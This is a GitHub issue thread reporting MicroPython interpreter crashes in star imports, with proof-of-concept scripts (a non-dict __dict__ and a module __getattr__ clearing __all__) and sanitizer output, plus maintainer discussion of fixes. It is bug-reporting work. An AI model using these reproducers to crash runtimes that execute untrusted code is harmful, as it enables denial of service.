Skip to content

MicroPython type confusion in star imports causes interpreter crash #19621

Description

@Vectrain51

Port, board and/or hardware

No response

MicroPython version

No response

Issue Report

Summary

MicroPython v1.29.0-preview can be crashed by a Python script that places a non-dictionary value in an object's __dict__ attribute and then executes from module import *. The import path passes the value to mp_obj_dict_get_map() without validating its type.

Affected version tested:

v1.29.0-preview
commit 367178fce7a7513862b15f940afa75ba005ba67b

Details

Relevant source: py/runtime.c, mp_import_all().

The public interpreter flow is:

from m import * -> mp_import_all() -> __dict__ lookup -> mp_obj_dict_get_map() -> invalid memory access

An instance member named __dict__ can contain a non-dictionary value, which the import code treats as a native dictionary.

PoC

Build the Unix port from the tested tag:

git clone https://github.com/micropython/micropython.git
cd micropython
git checkout v1.29.0-preview
make -C ports/unix

Run the script through the built interpreter:

ports/unix/build-standard/micropython - <<'PY'
import sys

class M:
    pass

m = M()
m.__dict__ = 42
sys.modules["m"] = m
from m import *
PY

Observed:

Segmentation fault (core dumped)
exit code: 139

Impact

An attacker able to supply Python code to a MicroPython runtime can terminate the interpreter through the public from ... import * language feature. Remote exploitation depends on an application that executes attacker-controlled MicroPython code.

Code of Conduct

Yes, I agree

Activity

  1. dpgeorge commented on Aug 14, 2026

    @dpgeorge
    Member

    Thanks for the report.

    To fix it, either check the object stored to __dict__ is a dict (like CPython does), or disallow storing to __dict__ altogether (because probably MicroPython doesn't have the right semantics if you do store to dict).

    (It's not really a security vulnerability, because if you can run arbitrary Python code, there are many ways to crash the interpreter.)

  2. Vectrain51 commented on Aug 14, 2026

    @Vectrain51
    Author

    Thanks for the clarification. I agree with your assessment that this is better treated as a robustness bug rather than a security vulnerability, given that arbitrary Python execution already allows the interpreter to be terminated in other ways.

    Thanks as well for looking into the fix options. :)

  3. pablogventura commented on Aug 31, 2026

    @pablogventura
    Contributor

    I'll send a PR for this: check that __dict__ is a dict (or OrderedDict) in mp_import_all before calling mp_obj_dict_get_map.

  4. yet-another-agent commented on Oct 10, 2026

    @yet-another-agent

    There is a separate mp_import_all crash after the __dict__ type check discussed here: module __getattr__ can clear the __all__ list while the importer retains its old items pointer.

    Revalidated on current master (a129b2fba1a3348088c94d0462eef16d20874dea); every case reproduced in 3/3 runs.

    Build: VARIANT=coverage with the repository's official ASan flags: -fsanitize=address --param asan-use-after-return=0 -DMP_ASAN=1.

    Additional reproductions

    Module __getattr__ clears __all__ during star import

    import sys
    
    sys.path.insert(0, "/tmp")
    
    open("/tmp/reentrant_clear.py", "w").write(
        "__all__=['a','b','c','d']\n"
        "def __getattr__(name):\n"
        "    __all__.clear()\n"
        "    return 123\n"
    )
    
    from reentrant_clear import *
    
    print(a)

    Observed: SUMMARY: AddressSanitizer: SEGV ../../py/objstr.c:2534 in mp_obj_str_get_qstr

    Complete ASan output
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==82==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0xaaaad5749a88 bp 0xffffdbdee630 sp 0xffffdbdee630 T0)
    ==82==The signal is caused by a READ memory access.
    ==82==Hint: address points to the zero page.
        #0 0xaaaad5749a88 in mp_obj_str_get_qstr ../../py/objstr.c:2534
        #1 0xaaaad571012c in mp_import_all ../../py/runtime.c:1613
        #2 0xaaaad5776708 in mp_execute_bytecode ../../py/vm.c:1277
        #3 0xaaaad5730c64 in fun_bc_call ../../py/objfun.c:294
        #4 0xaaaad5710618 in mp_call_function_n_kw ../../py/runtime.c:719
        #5 0xaaaad5714720 in mp_call_function_0 ../../py/runtime.c:693
        #6 0xaaaad589a60c in parse_compile_execute ../../shared/runtime/pyexec.c:137
        #7 0xaaaad589b774 in pyexec_file ../../shared/runtime/pyexec.c:739
        #8 0xaaaad58903f0 in do_file /src/ports/unix/main.c:269
        #9 0xaaaad5891a18 in main_ /src/ports/unix/main.c:692
        #10 0xaaaad5892000 in main /src/ports/unix/main.c:452
        #11 0xffff83862258  (/lib/aarch64-linux-gnu/libc.so.6+0x22258) (BuildId: 4c1eca4527d1163b2dde55860b69f270158febb4)
        #12 0xffff83862338 in __libc_start_main (/lib/aarch64-linux-gnu/libc.so.6+0x22338) (BuildId: 4c1eca4527d1163b2dde55860b69f270158febb4)
        #13 0xaaaad56cccac in _start (/workspace/work/micropython-current/ports/unix/build-asan-linux-official/micropython+0x19ccac) (BuildId: d745232daadafece431463287d3aa5e506209b85)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV ../../py/objstr.c:2534 in mp_obj_str_get_qstr
    ==82==ABORTING
    

    Would you prefer a separate issue for any of these paths?

    Tracking references: MicroPython-26.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    py-coreRelates to py/ directory in source

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions